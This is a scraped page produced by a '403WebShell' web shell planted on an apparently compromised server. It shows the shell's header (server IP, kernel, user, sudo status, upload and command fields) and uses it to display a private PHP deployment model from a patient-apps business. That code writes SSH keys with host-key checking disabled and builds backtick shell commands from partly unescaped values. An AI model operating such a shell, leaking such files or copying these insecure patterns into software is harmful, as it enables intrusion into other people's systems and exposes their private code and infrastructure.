Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_www/modules/patientapps/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_www/modules/patientapps/model/patientapps_model.php
<?php

// Uses GIT commandline
// git clone -n git@git.patientapps.net:pai/webapp.git
// requires apt-get install zip ffmpeg

use SensioLabs\AnsiConverter\AnsiToHtmlConverter;

class PatientApps_Model extends Database_Model {

	const COLLECTION = [
			['key' => 'unlisted',	'value' => 'Unlisted'],			// client-specific, or in Beta... added to all collections
			['key' => 'main', 		'value' => 'Main Collection'],
			['key' => 'mininv',		'value' => 'Minimally Invasive'],
			['key' => 'gyn',		'value' => 'Gynecology'],
		];
		
	private $uid;
	private $x_script;
	private $ansi = NULL;
	private $TARGETDIR;
	private $PREVIEW;
	private $ALLOW_PUBLISH;

	public function __construct() {
		parent::__construct();
		$this->uid = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_id'] : 0;
		$ENV = getenv('ENV');
		if ($ENV === FALSE) $ENV = '';
		switch (strtoupper($ENV)) {
			case 'TUCANA':
				$this->TARGETDIR = '/var/www/tucana_api/.download';
				$this->PREVIEW = 'version2.tucana.cc';
				$this->ALLOW_PUBLISH = 0;
				break;
			case 'VELA':
				$this->TARGETDIR = '/var/www/vela_api/.download';
				$this->PREVIEW = 'version2.vela.work';
				$this->ALLOW_PUBLISH = 0;
				break;
			default:
				$this->TARGETDIR = '/var/www/patientapps_www/.download';
				$this->PREVIEW = 'version2.myapp.care';
				$this->ALLOW_PUBLISH = 1;
				break;
			
		}

	}
	
    public function SetAnsi($value){
        $this->ansi = $value;
    }
	
	private function _LoadSettings() {
		return $this->controller->GetModuleSettings();
	}
	
    public function getNavigation() {
        $list = [];

        $list[] = [
            'caption' => 'Patient Apps Admin',
            'href' => 'https://patientapps.com/admin/',
            'hint' => 'PatientApps.com admin area',
            'icon' => '<i class="fas fa-globe-americas"></i>',
        ];

        $list[] = [
            'caption' => 'OpenCart Admin',
            'href' => 'https://store.patientapps.com/admin/',
            'hint' => 'PatientApps.com admin area',
            'icon' => '<i class="fas fa-globe-americas"></i>',
        ];

        $list[] = [
            'caption' => 'Webmail',
            'href' => 'https://mail.google.com/a/patientappsinc.com',
            'hint' => 'PatientApps Email',
            'icon' => '<i class="fab fa-google"></i>',
        ];

        $list[] = [
            'caption' => 'Deploy Version 2 Site',
            'href' => '/patientapps/build',
            'hint' => 'Deploy a version 2 product',
            'icon' => '<i class="fas fa-rocket"></i>',
        ];        
		
        $list[] = [
            'caption' => 'Direct Build',
            'href' => '/pai-word',
            'hint' => 'Build a v2 Procedure Guide from sections of a Word Document',
            'icon' => '<i class="far fa-file-word"></i>',
        ];
		
        return $list;
    }


	public function GetAllBranches() {
		$targetfolder = HOME . '/storage/patientapps';
        $branchfile = "$targetfolder/.branches";
        if (file_exists($branchfile)) {
            $payload = unserialize(file_get_contents($branchfile));
        } else {
            $payload = [
                'branch' => [],
                'expiry' => 0,
            ];
        }
        if ($payload['expiry'] < time()) {
        
            @mkdir("$targetfolder/data", 0777, TRUE);

            $node = $this->_LoadSettings();
            $url = $node['repo'];
            $key = $node['key'] . "\n";
            $hash = md5($url);

            $filename_hash = $targetfolder . '/hash';
            if (file_exists($filename_hash)) {
                $current_hash = file_get_contents($filename_hash);
            } else {
                $current_hash = '';
            }
            if ($current_hash != $hash || $current_hash == '') {
                $this->DownloadRepo($targetfolder, $url, $key);		 // this should run in background, and the <select> updated when task is finished
                file_put_contents($filename_hash, $hash);
            }

            $targetfolder .= '/data';
            $folder = escapeshellarg($targetfolder);
			// to do: check for error "fatal: detected dubious ownership in repository at '/var/www/tucana_cms' To add an exception for this directory, call: git config --global --add safe.directory ..."
            $command = "cd $folder; git fetch -p; git branch -r --sort=-committerdate";		// -p = prune = remove deleted remote branches
			$output = trim(`($command)`);	
			
            $lines = explode("\n", $output);
            $select = [];
            foreach($lines as $item) {
                $item = trim($item);
                if ($item != '' && strpos($item, ' ') === FALSE) {
                    if (substr($item, 0, 7) == 'origin/') $item = substr($item, 7);
                    $select[] = $item;
                }
            }
            $payload['branch'] = $select;
            $payload['expiry'] = time() + 60;
            file_put_contents($branchfile, serialize($payload));
        }
		return $payload['branch'];
	}
	
	private function extractHost($url) {
		if (preg_match('~^(.*?)\@(.*?)\:(.*?)$~', $url, $match)) {		// git@host:path
			return $match[2];
		}
		return FALSE;
	}
	
	protected function UpdateSSHconfig($targetfolder, $url, $privatekey) {
		$host = $this->extractHost($url);
		file_put_contents("$targetfolder/key", $privatekey);
		chmod("$targetfolder/key", 0600);
		
		$me = posix_getuid();
		$info = posix_getpwuid($me);
		$dir = $info['dir'];
		$this->_AddToConfigFile("$dir/.ssh/config", $host, "$targetfolder/key");
	}
	
	// info in conf file? if not, add it
	private function _AddToConfigFile($config_file, $host, $privatekey_file) {
		$info = $this->ConfigLoad($config_file);
		if (!isset($info['host'])) {
			$fp = fopen($config_file, 'a');
			fwrite($fp, "\n\nHost {$host}\n\tHostname {$host}\n\tIdentityFile {$privatekey_file}\n\tStrictHostKeyChecking no");
			fclose($fp);
		}
	}
	
	private function ConfigLoad($filename) {
		$output = [];
		$section = '';
		$text = file_get_contents($filename);
		foreach(explode("\n", $text) as $line) {
			$line = trim($line);
			if ($line == '') continue;
			$p = strpos($line, '=');
			if ($p === FALSE) $p = strpos($line, ' ');
			$key = substr($line, 0, $p);
			$value = trim(substr($line, $p + 1));
			$lkey = strtolower($key);
			if ($lkey == 'host') {
				$section = $value;
			} elseif ($section == '') {
				$output[$key] = $value;
			} else {
				$output[$section][$key] = $value;
			}
		}
		return $output;
	}
	
	
	protected function DownloadRepo($targetfolder, $url, $key) {
		$this->UpdateSSHconfig($targetfolder, $url, $key);
		// run git command (may take a few minutes)
		$folder = escapeshellarg($targetfolder . '/data');
		$url = escapeshellarg($url);
		$command = "git clone -n $url $folder";
	
		$output = `$command 2>&1`;
//		var_dump($output);
	}

	private function _header() {
		echo <<<BLOCK
<html>
<head>
<style type="text/css">
body {
	margin: 0;
	background-color:#000; 
	color:#fff;
}
</style>
</head>
<body>
<pre style="padding: 10px 15px;">
BLOCK;
	}
	// overflow: auto; 
	

/* new push process
	lock the folder (fail if already locked)
	.. process
	unlock folder
*/

	
	private function _($x) {
        if ($x === FALSE) return '';
        if ($this->ansi === FALSE) return $x;
        
		if (!is_object($this->ansi)) {
			$this->ansi = new AnsiToHtmlConverter();
		}
		return $this->ansi->convert($x);		// ansi
	}

	private function parseHashes($text) {
		$result = [];
		if (preg_match_all('~([0-9a-f]{40}) refs/remotes/origin/(.*?)$~ims', $text, $matches)) {
			foreach($matches[1] as $index => $hash) {
				$branch = $matches[2][$index];
				$result[$branch] = $hash;
			}
		}
		return $result;
	}
	
	// assumes GetAllBranches has been run previously
	public function GitStatus(&$res, $website_id = 0, $branchname = '') {
		// get domain name
		$info = [];
        $procedure_code = $this->BranchToProcedureCode($branchname);
        $domainname = $procedure_code . '.myapp.care';
        $res['website'] = 'https://' . $domainname;
		$res['preview'] = $this->PREVIEW;
		$res['publish'] = $this->ALLOW_PUBLISH;

		// download the page, extract the hash [to do: and get branch from "source: "]
		$n = new \CurlObject();
		$n	->Url("https://{$domainname}/")
			->Redirect(1)
			->Execute();
		$text = $n->Body();
		
		$hash_current = preg_match('~^\s*commit:\s*([0-9a-f]{40})$~m', $text, $match) ? $match[1] : '';		// this is commit the website is at

        $elements = explode('.', $domainname);
        $procedure_code = array_shift($elements);
        $gitbranch = $this->BranchFromProductId($procedure_code);

		// Get latest version of everything
		$targetfolder = HOME . '/storage/patientapps/data';
		$folder = escapeshellarg($targetfolder);
		$command = "(cd $folder; git fetch; git show-ref) 2> /dev/null";
		$output = `$command`;

		$hashes = $this->parseHashes($output);

		if (!isset($hashes[$gitbranch])) {
			$res['result'] = -1501;
			$res['message'] = 'Unknown Git branch';
			return;		// unknown branch
		}

		$hash_head = $hashes[$gitbranch];
		$res['fullhash'] = $hash_head;
//		$res['stuff'] = $branch;
		if ($hash_current != '') {
			$info = $this->_executeRevList($folder, "git rev-list --format=medium -n 1 {$hash_current})");
			if (count($info)) $res['release'] = $info[0];
		}
		
		if ($hash_head == $hash_current) {
			// up to date - show list of options that user can revert back to
			$res['result'] = 0;
			$res['message'] = 'Already up-to-date';
			return;
		}
		
//        $hash_current = "{$hash_head}~1";
		$res['list'] = $this->_executeRevList($folder, "git rev-list --format=medium --ancestry-path {$hash_current}..{$hash_head})");
        $res['list'] = array_slice($res['list'], 0, 10);
	}
	
	function GetCommitDate($fullhash) {
		$targetfolder = HOME . '/storage/patientapps/data';
		$folder = escapeshellarg($targetfolder);
		$info = $this->_executeRevList($folder, "git rev-list --format=medium -n 1 {$fullhash})");
		if (count($info)) {
			$dt = strtotime($info[0]['date']);
			return date('Y.m.d', $dt);
		}
		return FALSE;
	}
	
	function _executeRevList($folder, $command) {
		$command = "(cd $folder; $command 2> /dev/null";
		$output = `$command`;
		$blocks = explode('commit', $output);
		$list = [];
		foreach($blocks as $block) {
			if (preg_match('~([0-9a-f]{40}).*?Author:\s+(.*?)$\s+Date:\s+(.*?)$(.*)~ism', $block, $matches)) {		// may contain "Merge: 9ec0c27 fa684c5" or similar
				preg_match('~^(.*?)\s+\<(.*?)\>~', $matches[2], $stuff);
				$list[] = [
					'hash' => substr($matches[1], 0, 9),
					'name' => $stuff[1],
					'date' => $matches[3],
					'message' => trim($matches[4]),
					'fullhash' => $matches[1],
				];
			}
		}
		return $list;
	}

	// what sites on the server have git updates?
	public function UpdateTree(&$tree, $server_id) {
		// get sites, branch and current hash by looking at the index.html page of the site.
	}
	
	public function BranchFromProductId($product_id) {		// product_id = subdomain name
		switch($product_id) {			// these are the exceptions:
			case 'pai-cld12':
				return 'pai-CLD12';
			case 'pai-hyot':
				return 'Pai-Hyot';
			case 'pai-ldn':
				return 'pai-ldn1';
			case 'pai-rmam':
				return 'pai-rmam1';
			case 'pai-lcl':
				return 'pai-lc';
			case 'ma1-lcl':
				return 'ma1-lc';
			case 'pai-ivfr':
				return 'pai-ivf';
			case 'umair-oah':
				return 'pai-oah';
			default:
				return $product_id;
		}
	}
	
	public function BranchToProcedureCode($branchname) {
		switch($branchname) {			// these are the exceptions:
			case 'pai-CLD12':
				return 'pai-cld12';
			case 'Pai-Hyot':
				return 'pai-hyot';
			case 'pai-ldn1':
				return 'pai-ldn';
			case 'pai-rmam1':
				return 'pai-rmam';
			case 'pai-lc':
				return 'pai-lcl';
			case 'ma1-lc':
				return 'ma1-lcl';
			case 'pai-ivf':
				return 'pai-ivfr';
		}
		return $branchname;
	}
	
	private function _MaxFolders($targetfolder, $n) {
		$filelist = glob("$targetfolder/*");
		$older = [];
		foreach($filelist as $filename) {
			$ft = filemtime($filename);
			$older[] = [
				'fn' => $filename, 
				'time' => $ft
			];		// name and folder create date/time
		}
		usort($older, function($a, $b) {	// newest to oldest. Oldest at end
			return $b['time'] - $a['time'];
		});
		
		while (count($older) > $n) {
			$item = array_pop($older);
			$xdir = escapeshellarg($item['fn']);
			`rm -rf $xdir`;
		}
	}
	
	public function ValidateHashSource($fullhash, $product_code) {
		$targetfolder = HOME . '/storage/patientapps/hashes';
		@mkdir("$targetfolder", 0777, TRUE);

		$foldername = "$targetfolder/$fullhash";
		if (!file_exists($foldername)) {
			mkdir($foldername);
			$this->_downloadSrc($fullhash, $foldername, $product_code);
		} else {
			$xdir = escapeshellarg($foldername);
			`touch $xdir`;		// mark as newest
		}
		$this->_MaxFolders($targetfolder, 10);
	}
	
	// download GIT contents to folder, archive current version, only src folder
	// we do this by 
	// 1. creating a zip archive from the git repo
	// 2. unzip the archive
	// 3. delete the zip archive
	public function _downloadSrc($fullhash, $targetfolder, $product_code) {
		$this->GetAllBranches();
		$sourcefolder = HOME . '/storage/patientapps/data';
		$folder = escapeshellarg($sourcefolder);
		$target = escapeshellarg($targetfolder . '/src.zip');
		$command = "cd $folder; git archive -0 -o $target $fullhash src README.md";
		`$command`;
		$folder = escapeshellarg($targetfolder);
		$command = "cd $folder; unzip -o src.zip; rm src.zip";
		`$command`;
		// note current branch
		file_put_contents($targetfolder . '/branch.txt', $product_code);
	}

	private function _branchSettings_load($procedure_code) {
		$rows = $this->Query('select collection from pai_collection')
					->where('procedure_code=%s', $procedure_code)
					->Get();
		$current = [];
		foreach($rows as $row) {
			$current[$row->collection] = 1;
		}
		return $current;
	}
	// return current configuration for the specified branch
	public function BranchSettings_get(&$res, $procedure_code) {
		$current = $this->_branchSettings_load($procedure_code);

		$selection = static::COLLECTION;
		foreach($selection as &$item) {
			if (isset($current[$item['key']])) $item['sel'] = 1;
		}
		$res['list_collection'] = $selection;
		
		// use audio?
		$row = $this->Query('select * from pai_procedure')
					->where('procedure_code=%s', $procedure_code)
					->First();
		$res['ignore_audio'] = 0;
		$res['tracking'] = 0;
        $res['product'] = $procedure_code;
		if (!$row->empty()) {
			$res['ignore_audio'] = $row->ignore_audio ? 1 : 0;
			$res['tracking'] = $row->tracking ? 1 : 0;
			$res['physicians'] = $row->physicians ? 1 : 0;
		}
	}
	
	public function BranchSettings_update($procedure_code, $collections, $params) {
		$current = $this->_branchSettings_load($procedure_code);
		$this->TableName('pai_collection');
		foreach($collections as $index => $item) {
			if (isset($current[$item])) {	// ignore unchanged
				unset($current[$item]);
			} else {
				// insert record
				$this->InsertOrUpdate([
					'procedure_code' => $procedure_code, 
					'collection' => $item,
				], []);
				$this->DbErr();
			}
		}
		// delete old
		foreach($current as $collection => $unused) {
			$this->Delete([
				'procedure_code' => $procedure_code, 
				'collection' => $collection
			]);
			$this->DbErr();
		}
		
		// save ignore audio setting
		$this->TableName('pai_procedure');
		$this->InsertOrUpdate([
			'procedure_code' => $procedure_code, 
		], $params);
		
	}
	
    private function getFileHashes($commands) {
        // make sure all "\n" are displayed as "\\n" below:
		return <<<BLOCK
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):

    md5_hash = hashlib.md5()
    with open(filename,'rb') as f:
        for byte_block in iter(lambda: f.read(32768),b""):
            md5_hash.update(byte_block)
    payload = 'MD5(' + filename + ')= ' + md5_hash.hexdigest() + "\\n"
    gz.write(payload.encode('cp437'))
    return

try:
$commands
finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)

BLOCK;
        
    }
    
	private function _getTargetFiles($connection, $basefilename, $base, $tocopy) {
		$folder = $this->TARGETDIR;
		$commands = "\tFOLDER = '$folder'\n";
		foreach($tocopy as $ext) {
			$commands .= "\tgenerate_hash(FOLDER + '/$base$ext', FOLDER)\n";
		}

		$script = $this->getFileHashes($commands);
		$output = $connection->executeScript($script, '', TRUE);
		
		// allocate the hashes to each extension:
		// MD5(/var/www/patientapps_www/.download/ma1-oah.json)= 9419fe5038619356efd3ff72f7d78a44
		$result = [];
		if (preg_match_all('~MD5\((.*?)\)=\s([0-9a-f]{32})~msi', $output, $matches)) {
			foreach($matches[1] as $index => $filename) {
				$ext = '.' . pathinfo($filename, PATHINFO_EXTENSION);
				$result[$ext] = strtolower($matches[2][$index]);
			}
		}
		return $result;
	}

	// copy files (.sql3, .json) from here (pegasus) to patientapps.net (sirius) 
	//  - does not currently copy audio
	//  - should create a backup 
	public function Publish($basefilename) {
		$base = basename($basefilename);

		// establish a connection
        $data = new \StdClass;
        $data->source = 'agentLinux';
        $data->server_ip = '94.177.9.99';     // condor.hostz.org
        $connection = hook_execute('server.connect', FALSE, $data);
		$connection->EstablishConnection(FALSE);	// Login
		
		// What files do we have, and are they already copied?
		$filetypes = ['.json', '.sql3', '.wav', '.mp3'];
		$tocopy = [];
		foreach($filetypes as $ext) {
			$source = $basefilename . $ext;
			if (file_exists($source)) {
				$tocopy[] = $ext;
			}
		}
		
		// find out what files are present - get the md5s
		$info = $this->_getTargetFiles($connection, $basefilename, $base, $tocopy);

		// copy files
		$copied = 0;
		foreach($tocopy as $ext) {
			$target = $this->TARGETDIR . "/{$base}{$ext}";
			$hash_new = strtolower(md5($target));
			$hash_current = isset($info[$ext]) ? $info[$ext] : '';
			if ($hash_new != $hash_current) {
				$connection->UploadFile($target, file_get_contents($basefilename . $ext));
				$copied++;
			}
		}

		$connection = NULL;
		unset($connection);
	}
	
	public function FindFile($filename) {
		$targetfolder = HOME . '/storage/patientapps/data';
		// get all branches
		$result = '';
		$folder = escapeshellarg($targetfolder);
		chdir($targetfolder);
		$command = "git rev-list --all";
		$commits = `$command`;	// this is a list of all commits, by sha1.
		foreach(explode("\n", $commits) as $hash) {
			$hash = trim($hash);
			if ($hash != '') {
				$command = "git ls-tree -r --name-only $hash";
				$output = `$command`;
				if (preg_match_all('~' . $filename . '~imsu', $output, $matches)) {
					$result .= $this->_getBranchAndFileInfo($hash, $matches[0]);
				}
			}
		}

		if ($result == '') return 'nothing found.';

		return "<table width=\"100%\"><tr><td>Commit</td><td>Date</td><td>Branch</td><td>Filename</td></tr>$result</table>";
	}
	
	// get information about this branch and commit
	private function _getBranchAndFileInfo($hash, $filenames) {
		$command = "git log --decorate --no-walk $hash";
		$output = `$command`;
		$result = '';
		$p = strpos($output, "\n\n"); $delta = 2;
		if ($p === FALSE) {
			$p = strpos($output, "\r\n\r\n");
			$delta = 4;
		}

		$hash = "<span title=\"$hash\">" . substr($hash, 0, 9) . "</span>";
		$date = preg_match('~^Date:\s+(.*?)$~ism', $output, $matches) ? $matches[1] : '???';
		$branch = preg_match('~commit\s*([0-9a-f]{40}).*?\((.*?)\)$~ism', $output, $matches) ? $matches[2] : '-';
		if ($p !== FALSE) {
			$comment = trim(substr($output, $p + $delta));
			$result .= "<tr><td>$hash</td><td colspan=\"3\">" . nl2br(htmlspecialchars($comment)) . "</td></tr>";
		}
//		$result .= "<tr><td colspan=\"4\"><pre>" . htmlspecialchars($output) . "</pre></td></tr>";
		foreach($filenames as $filename) {
			$result .= "<tr><td></td><td>$date</td><td>$branch</td><td>$filename</td>";
		}
		$result .= "<tr><td colspan=\"4\">&nbsp;</td></tr>";
		return $result;
	}

/* visually similar images

	private function _generateInfo($filename) {
		$hash = hook_execute('image.hash', FALSE, $filename);
		$info = getimagesize($filename);
		$info['imagehash'] = $hash;
		return $info;
	}
	
	// add description file - type, dimensions, imagehash
	private function _getImageHashes() {
		// storage/patientapps/image-cache#/.info
		$result = [];
		$targetfolder = HOME . '/storage/patientapps/image-cache';
		$filelist = glob($targetfolder . '/*');
		foreach($filelist as $filename) {
			$basename = basename($filename);
			$infofile = $targetfolder . '/.info/' . $basename;
			if (!file_exists($infofile)) {
				$text = $this->_generateInfo($filename);
				file_put_contents($infofile, serialize($text));
			}
			// read info file
			$info = unserialize(file_get_contents($infofile));
            $info['basename'] = $basename;
			$result[] = $info;
		}
		return $result;
	}
	
	public function getSimilarImages($hash) {
		$hashes = $this->_getImageHashes();
        $distances = [];
        foreach($hashes as $info) {
            $distance = hook_execute('image.distance', 0, $info['imagehash'], $hash);
            $info['dim'] = $info[3]; unset($info[3]);
            $info['distance'] = $distance;
            $distances[] = $info;
        }
        
        usort($distances, function($a, $b) {
            return $a['distance'] - $b['distance'];
        });

//        return $distances;
        return array_slice($distances, 0, 5);
	}


    public function imageCache($hash) {
		$targetfolder = HOME . '/storage/patientapps/image-cache';
        $infofile = $targetfolder . '/.info/' . $hash;
        if (!file_exists($infofile)) {
            die('Not found');
        }
        $info = unserialize(file_get_contents($infofile));
        $data = file_get_contents($targetfolder . '/' . $hash);
        return [$info['mime'], $data];
    }
*/

    // create an archive with the latest version of the named file, from all branches
    public function SpecificFile($file = 'src/pages/success/success.html') {
		$targetfolder = HOME . '/storage/patientapps';
		@mkdir("$targetfolder/data", 0700, TRUE);
        $file = ltrim($file, '/');
        $file = str_replace(['\\', '..', '&', '<', '>', '|', '*', '?'], '', $file);
        $basename = basename($file);

		$targetfolder .= '/data';
		$folder = escapeshellarg($targetfolder);
		$command = "cd $folder; git fetch -p;  git branch -r -v --format='%(objectname) %(refname)' --sort=-committerdate";		// -p = prune = remove deleted remote branches
		$lines = explode("\n", trim(`$command`));
        
        // get branch name, and the last commit
        $commits = [];
        foreach($lines as $item) {
            $item = trim($item);
            if ($item != '' && strpos($item, 'origin/HEAD') === FALSE) {
                if (preg_match('~^([0-9a-f]{40}) refs/remotes/origin/(.*)$~', $item, $res)) {
                    $commits[] = [
                        'branch' => $res[2],
                        'commit' => $res[1],    // sha1
                    ];
                }
            }
        }

        // for each branch,
        //  restore the file
        //  save to zip file
        $zip = new ZipArchive;
        $zipname = tempnam(sys_get_temp_dir(), 'zip');
        
        $res = $zip->open($zipname, ZipArchive::CREATE);
        foreach($commits as $info) {
            $cmd = "cd $folder; git show {$info['commit']}:{$file}";
            $output = `$cmd`;
            $zip->addFromString("{$info['branch']}_{$basename}", $output);
        }
        
        $zip->close();

        ///Then download the zipped file.
        header('Content-type: application/zip');
        header('Content-disposition: attachment; filename=search_results.zip');
        header('Content-length: ' . filesize($zipname));
        readfile($zipname);
        unlink($zipname);
        exit;
    }

}

/*

Note that "ionic_source_map_type" must be "source-map"
If this is "ionic_source_map_type": "#inline-source-map" it still triggers the error even with --generateSourceMap false

// .git/FETCH_HEAD
git show-ref

git show-branch -a ec3d4e213548fd158dd3114458b637b01b2e2a91

							// current									// branch head
git rev-list --format=medium --ancestry-path f05ff31f90c88a9ffa25f908d2bb5e9258d7abd9..79aa58c3897664e4551a9b931e94e493afd2b0e1
commit aebac9e8a12205ccdd4b64ad45b214f442239b15
Author: Phil Young <you@example.com>
Date:   Wed Jun 5 17:16:06 2019 -0400

    update formatting of credits on success page


 git log --no-walk b4a366e08d350091d1886ef30414d07083bfd440
commit b4a366e08d350091d1886ef30414d07083bfd440 (origin/ma1-oak)
Author: Phil Young <phil@hostz.org>
Date:   Fri Jan 31 18:54:52 2020 -0500

    new images, new audio
phil@pegasus:/var/www/pkp/storage/patientapps/data$


*/

Youez - 2016 - github.com/yon3zu
LinuXploit